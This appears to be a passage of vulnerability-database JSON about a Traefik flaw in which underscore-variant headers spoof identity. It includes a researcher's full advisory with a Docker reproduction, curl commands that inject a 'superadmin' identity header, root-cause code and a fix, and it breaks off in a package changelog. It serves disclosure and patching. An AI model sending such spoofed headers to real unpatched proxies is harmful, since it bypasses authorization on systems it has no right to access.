canonical-cased spoofed identity headers before writing Traefik's own value, but do not account for underscore-variant header names, which many backends normalize identically to dashed forms. An attacker able to reach a protected route can inject an underscore-variant header that survives Traefik's stripping and reaches the backend alongside, or on the unauthenticated ForwardAuth authResponseHeaders path instead of, the value Traefik intended to set, spoofing identity or authorization context. This issue is fixed in versions v2.11.51, v3.6.22, and v3.7.6.","status":"published","published":"2026-07-06T21:16:56.787Z","modified":"2026-07-08T20:16:52.803Z","cvss":[{"version":"4.0","score":7.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N","level":"critical","assessor":"primary"}],"cwes":["CWE-178","CWE-290","CWE-345"],"updated_at":"2026-11-02T14:12:28.040501Z"}],"osv":[{"id":"CVE-2026-54763","title":"Traefik: headerField underscore-variant identity spoofing in BasicAuth / DigestAuth / ForwardAuth","description":"Traefik is an HTTP reverse proxy and load balancer. Prior to v2.11.51, v3.6.22, and v3.7.6, Traefik's BasicAuth, DigestAuth, and ForwardAuth middlewares strip canonical-cased spoofed identity headers before writing Traefik's own value, but do not account for underscore-variant header names, which many backends normalize identically to dashed forms. An attacker able to reach a protected route can inject an underscore-variant header that survives Traefik's stripping and reaches the backend alongside, or on the unauthenticated ForwardAuth authResponseHeaders path instead of, the value Traefik intended to set, spoofing identity or authorization context. This issue is fixed in versions v2.11.51, v3.6.22, and v3.7.6.","status":"published","published":"2026-07-06T20:33:36.059Z","modified":"2026-10-28T02:30:25.653268452Z","cvss":[{"version":"4.0","score":7.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","level":"high"}],"cwes":["CWE-178","CWE-290","CWE-345"],"updated_at":"2026-11-02T15:45:10.818486Z"},{"id":"GHSA-x677-9fxg-v5c5","title":"Traefik: Incomplete fix for CVE-2026-33433 + CVE-2026-39858 cross-cohort: headerField underscore-variant identity spoofing in BasicAuth / DigestAuth / ForwardAuth","description":"## Summary\n\nThere is a high severity vulnerability in Traefik's BasicAuth, DigestAuth, and ForwardAuth\nmiddlewares. The fix for CVE-2026-33433 stripped canonical-cased spoofed identity headers\n(e.g. `X-Auth-User`) before writing Traefik's own value, but did not account for\nunderscore-variant header names (e.g. `X_Auth_User`), which many backends normalize\nidentically to the dashed form. An attacker able to reach a protected route could inject\nan underscore-variant header that survives Traefik's stripping and reaches the backend\nalongside — or, on the unauthenticated ForwardAuth `authResponseHeaders` path, instead of\n— the value Traefik intended to set, spoofing identity or authorization context. This is\nfixed by setting the new `allowHeadersWithUnderscores: false` entry point option, which\nstrips all headers with underscores in their names before routing.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.51\n- https://github.com/traefik/traefik/releases/tag/v3.6.22\n- https://github.com/traefik/traefik/releases/tag/v3.7.6\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n# Incomplete fix for CVE-2026-33433 + CVE-2026-39858 cross-cohort: `headerField` underscore-variant identity spoofing in BasicAuth / DigestAuth / ForwardAuth\n\n## Summary\n\nThe fix for CVE-2026-33433 (GHSA-qr99-7898-vr7c, \"BasicAuth/DigestAuth Identity Spoofing via Non-Canonical headerField\", patched in v2.11.42 / v3.6.12 / v3.7.0-ea.3) added `req.Header.Del(headerField)` before the literal-key writeback in `pkg/middlewares/auth/basic_auth.go` and `pkg/middlewares/auth/digest_auth.go`. Go's `Header.Del` calls `textproto.CanonicalMIMEHeaderKey` which canonicalizes ASCII CASE and treats `-` as a word separator — so the fix correctly strips canonical-cased attacker headers (`X-Auth-User`, `x-auth-user`, `X-AUTH-USER`, etc.).\n\nHowever, `textproto.CanonicalMIMEHeaderKey` does **NOT** treat `_` as a separator. Attacker-supplied **underscore-variant** headers such as `X_Auth_User` survive `Header.Del(\"X-Auth-User\")` intact and are forwarded to the backend alongside Traefik's own writeback. Many common backends (CGI/WSGI per RFC 3875, PHP `$_SERVER`, nginx with `underscores_in_headers on`, Tomcat / Java EE servlet containers, ASGI/WSGI frameworks) normalize `_` ↔ `-` equivalently or expose both forms to application code that may read the attacker's value.\n\nThis is the **direct cross-cohort sibling** of the threat model the maintainer accepted in **CVE-2026-39858** (GHSA-5m6w-wvh7-57vm, \"Forwarded alias spoofing pre-auth decision bypass\"), which fixed the underscore-variant of the X-Forwarded-* family via `isManagedXHeader` in `pkg/middlewares/forwardedheaders/forwarded_header.go`. The CVE-2026-39858 advisory body states verbatim:\n\n\u003e \"When the backend normalizes underscore and dash header forms equivalently, an attacker can inject spoofed trust context — such as a trusted scheme or host — through the alias headers and bypass authentication on protected routes without valid credentials.\"\n\nThe same threat model applies to the operator-configurable `headerField` (BasicAuth, DigestAuth) and `authResponseHeaders` (ForwardAuth, ingress-nginx snippet provider), but the underscore-handling primitive (`isManagedXHeader`) was not extended to those middlewares. I verified the bypass end-to-end on `traefik:v3.6.14` (the latest patched release containing both fixes) using a default-recommended canonical `headerField: \"X-Auth-User\"` config and reproduced the bypass with a single `curl -H \"X_Auth_User: superadmin\" ...` request alongside valid BasicAuth credentials.\n\nThe defect is present in four code paths at HEAD `eec68dce064f843b4317c4393aaea81b6dea31d6`:\n\n1. `pkg/middlewares/auth/basic_auth.go:101-105` — BasicAuth `headerField`\n2. `pkg/middlewares/auth/digest_auth.go:99-103` — DigestAuth `headerField`\n3. `pkg/middlewares/auth/forward.go:304-310` — ForwardAuth `authResponseHeaders` per-name writeback\n4. `pkg/middlewares/ingressnginx/snippet/snippet.go:480-486` — Ingress-NGINX snippet `authResponseHeaders` per-name writeback\n\nThe ForwardAuth instance (#3) is particularly notable: the attacker does NOT need credentials. The `authResponseHeaders` mechanism is intended to copy identity headers from the trusted auth server only; the underscore-variant bypass lets an unauthenticated attacker pre-inject the same identity header before any auth happens.\n\nThe fast proxy at `pkg/proxy/fast/proxy.go:139` explicitly calls `DisableNormalizing()` on the outgoing fasthttp request, guaranteeing that the underscore-variant header reaches the backend wire verbatim. The standard `httputil.ReverseProxy` path at `pkg/proxy/httputil/proxy.go:55` likewise copies `req.Header` keys as-is during the wire write.\n\n## Affected versions\n\n- `traefik` v3.6.x ≤ 3.6.14, v3.7.x ≤ 3.7.0-rc.2, v2.11.x ≤ 2.11.43, and all earlier versions sharing the same auth middleware architecture.\n\nThe defect is present at HEAD post-CVE-2026-33433 fix (the fix added the `Del` line but the literal-key write defect-class survives for underscore variants).\n\n## Root cause\n\nIn `pkg/middlewares/auth/basic_auth.go` at HEAD `eec68dc`:\n\n```go\nif b.headerField != \"\" {\n    // TODO Deprecated we should add the header with canonical key.\n    req.Header.Del(b.headerField)\n    req.Header[b.headerField] = []string{user}\n}\n```\n\nThe TODO comment shows the maintainer is aware of the literal-key write problem in general (canonical-key write would solve the case-canonicalization issue more cleanly than the current `Del` + literal-write pair). The comment does not acknowledge the underscore-variant survival corollary.\n\n`pkg/middlewares/auth/digest_auth.go:99-103` and the two ForwardAuth paths follow the same `Del` + literal-write pattern. Each is independently exploitable; the underlying primitive defect is shared.\n\nThe maintainer's gold-standard primitive for handling this exact threat class is `pkg/middlewares/forwardedheaders/forwarded_header.go:53-66`:\n\n```go\nfunc isManagedXHeader(key string) bool {\n    if len(key) == 0 || key[0] != 'X' { return false }\n    if _, ok := XHeadersSet[key]; ok { return true }\n    if strings.IndexByte(key, '_') \u003c 0 { return false }\n    canonical := http.CanonicalHeaderKey(strings.ReplaceAll(key, \"_\", \"-\"))\n    _, ok := XHeadersSet[canonical]\n    return ok\n}\n```\n\nThis treats `_` ↔ `-` equivalence as a security requirement. It is reachable only via the static `XHeadersSet` membership check, which contains exclusively the X-Forwarded-* family + X-Real-Ip. Operator-configurable identity headers are out of scope of this primitive.\n\n## Proof of concept\n\nVerified on `traefik:v3.6.14` (the patched version, post-CVE-2026-33433 and post-CVE-2026-39858) using Docker compose. Full reproducer at https://github.com/\u003cattacker-repo\u003e/traefik-ht1a-poc; commands below are verbatim.\n\n### Setup\n\n```yaml\n# docker-compose.yml\nservices:\n  traefik:\n    image: traefik:v3.6.14\n    command:\n      - --providers.file.filename=/etc/traefik/dynamic.yml\n      - --entrypoints.web.address=:80\n    ports:\n      - \"8080:80\"\n    volumes:\n      - ./traefik/dynamic.yml:/etc/traefik/dynamic.yml:ro\n  echo:\n    image: mendhak/http-https-echo:36\n    environment:\n      - HTTP_PORT=8888\n```\n\n```yaml\n# traefik/dynamic.yml — canonical headerField, recommended operator config\nhttp:\n  routers:\n    protected:\n      rule: \"PathPrefix(`/`)\"\n      service: echo\n      middlewares: [basic-auth]\n  services:\n    echo:\n      loadBalancer:\n        servers: [{url: \"http://echo:8888\"}]\n  middlewares:\n    basic-auth:\n      basicAuth:\n        users:\n          - 'alice:$2b$05$FhDfYidZdDPuQjovYqcTAe22wHpQ/cILC7Tr2yAD6vLlvZh/Q45PC'   # alice:secret123\n        headerField: \"X-Auth-User\"\n```\n\n`docker compose up -d`.\n\n### Test 1 (control — CVE-2026-33433 fix works for canonical case)\n\n```bash\n$ curl -s -u alice:secret123 -H \"X-Auth-User: superadmin\" http://localhost:8080/\n{\n  ...\n  \"x-auth-user\": \"alice\",\n  ...\n}\n```\n\nThe attacker's canonical `X-Auth-User: superadmin` was correctly stripped by Traefik's `Del`; the backend receives only Traefik's authenticated-user writeback `alice`.\n\n### Test 2 (HT-1A bypass — underscore variant survives)\n\n```bash\n$ curl -s -u alice:secret123 -H \"X_Auth_User: superadmin\" http://localhost:8080/\n{\n  ...\n  \"x-auth-user\": \"alice\",\n  \"x_auth_user\": \"superadmin\",\n  ...\n}\n```\n\nThe underscore-variant `x_auth_user: superadmin` reached the backend intact, despite the `Del(\"X-Auth-User\")` having executed. The backend sees both forms.\n\n### Test 3 (double-send — same result)\n\n```bash\n$ curl -s -u alice:secret123 \\\n    -H \"X-Auth-User: superadmin\" \\\n    -H \"X_Auth_User: superadmin\" \\\n    http://localhost:8080/\n{\n  ...\n  \"x-auth-user\": \"alice\",       # Traefik's writeback\n  \"x_auth_user\": \"superadmin\",  # attacker's underscore — survived Del\n  ...\n}\n```\n\nThe canonical attacker header is stripped (Test 1 behavior). The underscore variant is forwarded.\n\n### Backend impact\n\nThe PoC's echo backend (`mendhak/http-https-echo`, Node.js) preserves both forms with the lowercase normalization Node.js applies. Application code reading `req.headers[\"x-auth-user\"]` sees `alice`. Application code reading `req.headers[\"x_auth_user\"]` sees `superadmin`.\n\nFor backends that normalize `_` ↔ `-` equivalently — meaning the attacker's value wins:\n\n- **CGI / WSGI / PHP `$_SERVER`** (RFC 3875 §4.1.18 — header name uppercased with `-` replaced by `_`): both `X-Auth-User` and `X_Auth_User` map to `HTTP_X_AUTH_USER`. The last-set wins per the WSGI server's iteration order; many servers (gunicorn, uwsgi without `--disable-logging`, waitress) preserve both. Note: Apache + mod_php with default `HttpProtocolOptions Strict` filters underscore-headers from `$_SERVER` (this PoC's PHP backend test demonstrated the filter); Apache + mod_python, Apache + mod_wsgi without the strict mode, nginx + uwsgi, nginx + gunicorn, nginx + FastCGI, and standalone WSGI servers do NOT filter.\n- **nginx with `underscores_in_headers on`** (https://nginx.org/en/docs/http/ngx_http_core_module.html#underscores_in_headers): preserves underscore-variant headers and forwards them to upstream as separate values. Upstream application logic that does case-insensitive + underscore-insensitive matching (common pattern in security-sensitive code) merges them.\n- **Tomcat / Java EE servlet containers**: `HttpServletRequest.getHeader(name)` is case-insensitive; underscore handling is container-specific. Many normalize.\n- **Application middleware** (WAFs, log aggregators, security gateways, identity-aware proxies) that normalize header names before applying security policy: both forms collapse to the same authorization decision input.\n\n## Severity\n\nI propose **HIGH CVSS 7.5** for the BasicAuth / DigestAuth case and **CRITICAL CVSS 9.1** for the ForwardAuth `authResponseHeaders` case (the latter requires no credentials).\n\n**CVSS 3.1 vector (BasicAuth / DigestAuth)**: `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N=7.5` — one step above CVE-2026-33433 (which the maintainer scored MEDIUM 5.1 because it required misconfigured non-canonical `headerField`). HT-1A works against the canonical / recommended `headerField` configuration, broader operational scope.\n\n**CVSS 3.1 vector (ForwardAuth `authResponseHeaders`)**: `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N=9.1` — parallel to CVE-2026-39858 (HIGH 7.5) but achieves spoofing without credentials because the `authResponseHeaders` mechanism trusts headers exclusively from the auth server and the underscore variant defeats that trust boundary.\n\nCWEs:\n- CWE-290 (Authentication Bypass by Spoofing)\n- CWE-178 (Improper Handling of Case Sensitivity) — analogous to CVE-2026-29054\n- CWE-345 (Insufficient Verification of Data Authenticity) — same as CVE-2026-35051\n\n## Suggested fix\n\nTwo equivalent approaches:\n\n**1. Extend `Header.Del` to handle underscore variants** at the four call sites. Replace:\n\n```go\nreq.Header.Del(b.headerField)\nreq.Header[b.headerField] = []string{user}\n```\n\nwith:\n\n```go\ncanonical := http.CanonicalHeaderKey(b.headerField)\n// Strip canonical AND underscore-variant of the canonical key.\nfor key := range req.Header {\n    if key == canonical || strings.EqualFold(strings.ReplaceAll(key, \"_\", \"-\"), canonical) {\n        delete(req.Header, key)\n    }\n}\nreq.Header.Set(canonical, user)  // canonical-key write\n```\n\nThis pairs the headerField primitive with the same `_` ↔ `-` equivalence that `isManagedXHeader` enforces for X-Forwarded-*.\n\n**2. Generalize the existing `isManagedXHeader` primitive** into a `stripHeaderAndVariants(headers http.Header, name string)` helper in the `forwardedheaders` package and call it from `basic_auth.go`, `digest_auth.go`, `forward.go`, and `snippet.go`. Reusing the existing gold-standard primitive is the cleanest fix and minimizes future drift.\n\nEither approach should also resolve the `// TODO Deprecated we should add the header with canonical key.` debt at `basic_auth.go:102` and `digest_auth.go:100` by writing to the canonical key (`Header.Set(canonical, user)`) instead of the literal `b.headerField`.\n\n## Why this is a Pattern-8 sibling, not a new CVE class\n\nThe combination of:\n\n1. CVE-2026-33433's fix scope (case-canonicalization for `headerField`)\n2. CVE-2026-39858's fix scope (underscore-variant for `XHeadersSet`)\n3. The defective primitive remaining at HEAD (the `Del` + literal-write pair at four call sites)\n\nestablishes that the maintainer accepts the threat model and has architectural primitives to fix it — but did not cross the two cohorts. The \"primitive depth-audit\" of the CVE-2026-33433 fix (reading the actual `Header.Del` implementation against the documented threat model and Go's canonicalization semantics) reveals the gap.\n\nI confirmed there is no public PoC mentioning underscore-variant siblings of CVE-2026-33433 (WebSearched 2026-05-23). The fix-flurry from the April 2026 security release batch addressed the X-Forwarded family but not the headerField family.\n\n## Credit\n\nMatteo Panzeri (GitHub `matte1782`). CVE credit requested.\n\n## AI-assistance disclosure\n\nStatic analysis, hypothesis writing, and hostile-review confirmation were assisted by Anthropic Claude (Opus 4.7). Live PoC reproduction, code-citation verification, and submission decision were made by the human author.\n\n\n\u003c/details\u003e\n\n---","status":"published","published":"2026-08-06T16:53:53Z","modified":"2026-08-18T15:11:00.208827242Z","cvss":[{"version":"4.0","score":7.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","level":"high"}],"cwes":["CWE-178","CWE-290","CWE-345"],"updated_at":"2026-11-02T15:46:59.484835Z"},{"id":"GO-2026-6211","title":"Traefik: Incomplete fix for CVE-2026-33433 + CVE-2026-39858 cross-cohort: headerField underscore-variant identity spoofing in BasicAuth / DigestAuth / ForwardAuth in github.com/traefik/traefik","description":"Traefik: Incomplete fix for CVE-2026-33433 + CVE-2026-39858 cross-cohort: headerField underscore-variant identity spoofing in BasicAuth / DigestAuth / ForwardAuth in github.com/traefik/traefik","status":"published","published":"2026-08-18T14:32:29Z","modified":"2026-08-18T15:00:25.639940666Z","updated_at":"2026-11-02T15:47:03.11707Z"},{"id":"openSUSE-SU-2026:11243-1","title":"traefik2-2.11.52-1.1 on GA media","description":"These are all security issues fixed in the traefik2-2.11.52-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-07-09T00:00:00Z","modified":"2026-07-10T10:00:12.043004728Z","updated_at":"2026-11-02T16:58:38.95195Z"},{"id":"openSUSE-SU-2026:11251-1","title":"traefik-3.7.7-1.1 on GA media","description":"These are all security issues fixed in the traefik-3.7.7-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-07-10T00:00:00Z","modified":"2026-07-11T09:15:07.67370347Z","updated_at":"2026-11-02T16:58:38.95195Z"},{"id":"openSUSE-SU-2026:21761-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260827T195228 2026-08-27T19:52:28Z (jsc#PED-11136).\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-5026 CVE-2026-39821\n  * GO-2026-6225\n  * GO-2026-6250 CVE-2026-63328 GHSA-8rc5-4fr6-64pw\n  * GO-2026-6253 CVE-2026-17106 GHSA-hfg8-hc9c-6c3h\n  * GO-2026-6254 CVE-2026-53941 GHSA-vjhx-2cqw-3q6q\n  * GO-2026-6255 CVE-2026-61711 GHSA-7236-3392-c5c6\n  * GO-2026-6256 CVE-2026-61712 GHSA-72x6-4j93-7w86\n  * GO-2026-6258 CVE-2026-45404 GHSA-42cj-99w8-cp2p\n  * GO-2026-6259 CVE-2026-32637 GHSA-j2g6-362q-6qc6\n  * GO-2026-6260 CVE-2026-55149 GHSA-qqff-5854-px68\n  * GO-2026-6261 CVE-2026-54061 GHSA-rrwh-6jrq-wp5v\n  * GO-2026-6262 GHSA-22w5-2fxg-vrwx\n  * GO-2026-6263 CVE-2026-54168 GHSA-6f2p-296r-cc28\n  * GO-2026-6264 CVE-2026-54245 GHSA-7q96-f8xw-jv5j\n  * GO-2026-6265 GHSA-8fxq-53rx-ph5f\n  * GO-2026-6266 CVE-2026-54167 GHSA-f5f4-3hh4-f54m\n  * GO-2026-6267 GHSA-h58c-xccx-75m3\n  * GO-2026-6268 GHSA-q9c5-pp7m-fm2g\n  * GO-2026-6269 GHSA-rxhg-vcww-2mpw\n  * GO-2026-6270 CVE-2026-54162 GHSA-x3g7-qrwc-f6c5\n  * GO-2026-6271 CVE-2026-67448 GHSA-8r62-w5wh-fc5m\n  * GO-2026-6272 CVE-2026-67447 GHSA-r553-m4fv-5v97\n  * GO-2026-6273 CVE-2026-64679 GHSA-26w5-6g95-gj28\n  * GO-2026-6274 CVE-2026-76905 GHSA-mmfr-pmjx-hw9w\n  * GO-2026-6275 CVE-2026-77354 GHSA-xhj3-7xw9-vr34\n  * GO-2026-6277 GHSA-4ph6-mjv7-3fq6\n  * GO-2026-6278 GHSA-w67g-5rqw-f597\n  * GO-2026-6279 CVE-2026-6046 GHSA-3vmp-whvv-5v9v\n  * GO-2026-6280 CVE-2026-7387 GHSA-6hxm-w4hv-vgvw\n  * GO-2026-6281 CVE-2026-6961 GHSA-8qq9-cqj8-82w4\n  * GO-2026-6282 CVE-2026-7184 GHSA-9p44-r552-4wp9\n  * GO-2026-6283 CVE-2026-6689 GHSA-c28q-m4gf-vg4q\n  * GO-2026-6284 CVE-2026-55477 GHSA-jm48-m3rr-9hgg\n  * GO-2026-6285 CVE-2026-6739 GHSA-m2w9-h2mm-79qr\n  * GO-2026-6286 CVE-2026-3433 GHSA-rp4v-qc77-phm4\n  * GO-2026-6287 GHSA-vx2m-jpxr-xv7w\n  * GO-2026-6288 CVE-2026-11624 GHSA-76g7-m3xw-x9gr\n  * GO-2026-6289 GHSA-w8j7-39hp-8x59\n  * GO-2026-6290 CVE-2026-55581 GHSA-3x77-wg38-92r3\n  * GO-2026-6291 CVE-2026-55582 GHSA-74hp-mggr-hv58\n  * GO-2026-6292 CVE-2026-55580 GHSA-f5pj-2738-996m\n  * GO-2026-6293 CVE-2026-55677 GHSA-vfp3-v2gw-7wfq\n  * GO-2026-6294 CVE-2026-55092 GHSA-mcj4-mphf-j9ff\n  * GO-2026-6295 CVE-2026-55637 GHSA-cmwv-wf9p-p8wx\n  * GO-2026-6296 CVE-2026-54523 GHSA-79gf-7frw-68m9\n  * GO-2026-6297 CVE-2026-50879 GHSA-g743-m6x3-v6wm\n  * GO-2026-6298 CVE-2026-54563 GHSA-w5fv-7x5q-g8qp\n  * GO-2026-6299 CVE-2026-50884 GHSA-5442-mh7f-72px\n  * GO-2026-6300 CVE-2026-50891 GHSA-rcqf-cpv9-g5jf\n  * GO-2026-6301 CVE-2026-42350 GHSA-g7gw-m874-7rmf\n\n- Update to version 0.0.20260819T170606 2026-08-19T17:06:06Z.\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-4720 GHSA-v3mg-9v85-fcm7\n  * GO-2026-4942 CVE-2026-35172 GHSA-f2g3-hh2r-cwgc\n  * GO-2026-4950\n  * GO-2026-6093 GHSA-464c-974j-9xm6\n  * GO-2026-6094 GHSA-gcjh-h69q-9w9g\n  * GO-2026-6095 GHSA-r277-6w6q-xmqw\n  * GO-2026-6097 CVE-2026-55495 GHSA-49h3-cwhj-4737\n  * GO-2026-6098 CVE-2026-55496 GHSA-8r7f-r8hj-r3rv\n  * GO-2026-6099 CVE-2026-57497 GHSA-g35j-m5xg-vh3q\n  * GO-2026-6100 CVE-2026-55497 GHSA-g9j2-8w95-3vwv\n  * GO-2026-6101 CVE-2026-55502 GHSA-hq88-5x99-x3gf\n  * GO-2026-6102 CVE-2026-55499 GHSA-w8x7-h2px-xmq8\n  * GO-2026-6103 CVE-2026-73564 GHSA-26gq-p25f-99cp\n  * GO-2026-6104 CVE-2026-62323 GHSA-c3jm-gv5r-9wcp\n  * GO-2026-6105 GHSA-c534-2w9c-x7fm\n  * GO-2026-6106 GHSA-v6w6-358x-2433\n  * GO-2026-6107 CVE-2026-73500 GHSA-6vch-q96h-7gc3\n  * GO-2026-6108 CVE-2026-73505 GHSA-6xj8-qv9j-xcjq\n  * GO-2026-6109 GHSA-86cx-wwf4-phq4\n  * GO-2026-6110 CVE-2026-73509 GHSA-95cv-r8x4-vh75\n  * GO-2026-6111 CVE-2026-73506 GHSA-fwjx-9p69-h25h\n  * GO-2026-6112 CVE-2026-73502 GHSA-jpcw-4wr7-c3vq\n  * GO-2026-6113 GHSA-p6ph-3jx2-3337\n  * GO-2026-6114 CVE-2026-73499 GHSA-xg4h-6gfc-h4m8\n  * GO-2026-6115 CVE-2026-56867\n  * GO-2026-6117 GHSA-hp74-gm6m-2qm5\n  * GO-2026-6118 CVE-2026-47427 GHSA-w4q6-qw23-4rg7\n  * GO-2026-6119 CVE-2026-43983 GHSA-w6p7-2fxx-4f44\n  * GO-2026-6120 CVE-2026-54593 GHSA-8r6w-3qq5-4p4r\n  * GO-2026-6121 CVE-2026-54345 GHSA-6r28-9ppf-4hj5\n  * GO-2026-6122 CVE-2026-54332 GHSA-g6v3-7xmc-w563\n  * GO-2026-6123 CVE-2026-49446 GHSA-2rx5-2g7j-2659\n  * GO-2026-6124 CVE-2026-49447 GHSA-5fqm-cc34-fcf5\n  * GO-2026-6125 CVE-2026-11479 GHSA-6h35-9p2w-3j3r\n  * GO-2026-6126 CVE-2026-11465 GHSA-7v3v-cp44-vc8m\n  * GO-2026-6127 CVE-2026-50567 GHSA-q6vm-xqc9-v3ff\n  * GO-2026-6128 CVE-2026-11481 GHSA-q76h-p6jh-9rw3\n  * GO-2026-6129 CVE-2026-50570 GHSA-qf5v-m7p4-95rp\n  * GO-2026-6130 CVE-2026-50568 GHSA-r5jh-q2mw-gcx4\n  * GO-2026-6131 CVE-2026-50569 GHSA-vchh-r53j-8mpw\n  * GO-2026-6132 CVE-2026-62325 GHSA-rjrw-mjq6-hpmm\n  * GO-2026-6133 CVE-2026-54719 GHSA-rmxw-pq4x-3fvh\n  * GO-2026-6134 CVE-2026-66064 GHSA-964w-f6gj-5236\n  * GO-2026-6135 CVE-2026-54650 GHSA-fh2f-xfxc-q9cc\n  * GO-2026-6136 CVE-2026-64863 GHSA-hq33-8jgp-8qq3\n  * GO-2026-6137 CVE-2026-66063 GHSA-wg2q-39h6-66x9\n  * GO-2026-6138 CVE-2026-54638 GHSA-whmm-qj9r-wvr2\n  * GO-2026-6139 CVE-2026-54735 GHSA-4p3g-4hcj-wpvx\n  * GO-2026-6140 CVE-2026-11500 GHSA-jqpm-wf57-qx5c\n  * GO-2026-6141 CVE-2026-54693 GHSA-jq8w-8q2f-ffm9\n  * GO-2026-6142 CVE-2026-54680 GHSA-mjqf-28ph-426h\n  * GO-2026-6143 GHSA-xvg2-cgv6-6h7v\n  * GO-2026-6144 CVE-2026-67439 GHSA-jm28-2wcr-qf3h\n  * GO-2026-6145 CVE-2026-67438 GHSA-xc5w-4v5w-7x65\n  * GO-2026-6146 CVE-2026-67437 GHSA-xpxj-f2fm-rqch\n  * GO-2026-6147 CVE-2026-25688 GHSA-hmr2-99jm-8x45\n  * GO-2026-6148 CVE-2026-25699 GHSA-w754-5646-xq9j\n  * GO-2026-6151 CVE-2026-34033 GHSA-6qwm-5fm9-cvjx\n  * GO-2026-6152 CVE-2026-34905 GHSA-85r2-pvg8-89r9\n  * GO-2026-6153 CVE-2026-33582 GHSA-v553-g2w6-295p\n  * GO-2026-6154 CVE-2026-34031 GHSA-x4f6-mqg6-28xx\n  * GO-2026-6155 CVE-2026-65834 GHSA-68cj-mvg9-rgm2\n  * GO-2026-6156 CVE-2026-52856 GHSA-ghrq-5wpp-hxx5\n  * GO-2026-6157 CVE-2026-65835 GHSA-jr6p-8pjj-mfx6\n  * GO-2026-6158 CVE-2026-52855 GHSA-pfvc-3p5h-x7h6\n  * GO-2026-6159 CVE-2026-52857 GHSA-q6hh-gp44-4hcm\n  * GO-2026-6160 CVE-2026-54725 GHSA-r2v3-8gwf-7ghm\n  * GO-2026-6161 CVE-2026-53551 GHSA-qj55-47fp-p62j\n  * GO-2026-6162 CVE-2026-54787 GHSA-wqqc-jjcq-vfxm\n  * GO-2026-6163 CVE-2026-54909 GHSA-34rh-wp3j-6cxc\n  * GO-2026-6164 CVE-2026-54910 GHSA-vvp7-h4fj-m28w\n  * GO-2026-6165 CVE-2026-54908 GHSA-wg4g-wm44-ch5j\n  * GO-2026-6166 CVE-2026-56868\n  * GO-2026-6168 CVE-2026-56869\n  * GO-2026-6169 CVE-2026-56870\n  * GO-2026-6170 CVE-2026-56871\n  * GO-2026-6171 CVE-2026-56872\n  * GO-2026-6172 CVE-2026-56873\n  * GO-2026-6173 CVE-2026-56874\n  * GO-2026-6181 GHSA-gwfq-86j8-7qhv\n  * GO-2026-6182 CVE-2026-71312 GHSA-2m8m-jhrm-w6j2\n  * GO-2026-6183 GHSA-3x6r-wxxg-53vv\n  * GO-2026-6184 CVE-2026-71309 GHSA-45pq-889g-fcgh\n  * GO-2026-6185 CVE-2026-59732 GHSA-4vr5-p2gc-h23p\n  * GO-2026-6186 CVE-2026-71313 GHSA-7p4m-qxvv-g567\n  * GO-2026-6187 CVE-2026-71311 GHSA-8c48-q9wj-3w37\n  * GO-2026-6188 GHSA-8mxv-9xhp-86h4\n  * GO-2026-6189 GHSA-8v25-v8p6-qf7v\n  * GO-2026-6190 GHSA-945v-v9p3-v5xw\n  * GO-2026-6191 CVE-2026-54572 GHSA-cf44-9pgv-m4xc\n  * GO-2026-6192 CVE-2026-65602 GHSA-42cj-m3vj-89wv\n  * GO-2026-6195 CVE-2026-59733 GHSA-fqj9-69pf-6pjg\n  * GO-2026-6196 GHSA-gx4c-2hqx-cw2r\n  * GO-2026-6197 GHSA-h4mf-4v27-hggj\n  * GO-2026-6198 CVE-2026-65601 GHSA-qq9q-x9w4-chhj\n  * GO-2026-6199 CVE-2026-71310 GHSA-xhf4-832v-7xcr\n  * GO-2026-6201 CVE-2026-71324 GHSA-3ccp-42pg-hgv6\n  * GO-2026-6202 CVE-2026-54764 GHSA-3q9r-p662-5j8m\n  * GO-2026-6203 CVE-2026-71325 GHSA-62fc-8686-hfmq\n  * GO-2026-6204 CVE-2026-71326 GHSA-6765-c87h-8mrf\n  * GO-2026-6205 CVE-2026-54765 GHSA-6p8f-p8j2-rqmv\n  * GO-2026-6207 CVE-2026-67309 GHSA-8rxv-jg7p-wvg3\n  * GO-2026-6208 CVE-2026-65600 GHSA-cxjq-mrr5-89rv\n  * GO-2026-6209 CVE-2026-71327 GHSA-fgjj-px3w-67xx\n  * GO-2026-6211 CVE-2026-54763 GHSA-x677-9fxg-v5c5\n  * GO-2026-6212 CVE-2026-39904 GHSA-42jc-v69j-g38f\n  * GO-2026-6213 CVE-2026-71556 GHSA-hc8v-wwc9-vgxm\n  * GO-2026-6214 CVE-2026-71557 GHSA-qgq7-7hm3-q39j\n  * GO-2026-6216\n  * GO-2026-6219 CVE-2026-73080 GHSA-87fv-vqqr-m4jr\n  * GO-2026-6220 CVE-2026-48786 GHSA-88p2-jj8w-j8qg\n  * GO-2026-6221 CVE-2026-54917 GHSA-w62w-66v9-vvgv\n  * GO-2026-6223 CVE-2026-54526 GHSA-48p8-g2fx-3wwm\n  * GO-2026-6224 CVE-2026-53469 GHSA-6xvf-9742-48w2\n  * GO-2026-6227 CVE-2026-35511 GHSA-29rf-f4vv-pvq6\n  * GO-2026-6228 CVE-2026-53471 GHSA-2fqw-7c6r-2cq6\n  * GO-2026-6229 CVE-2026-53470 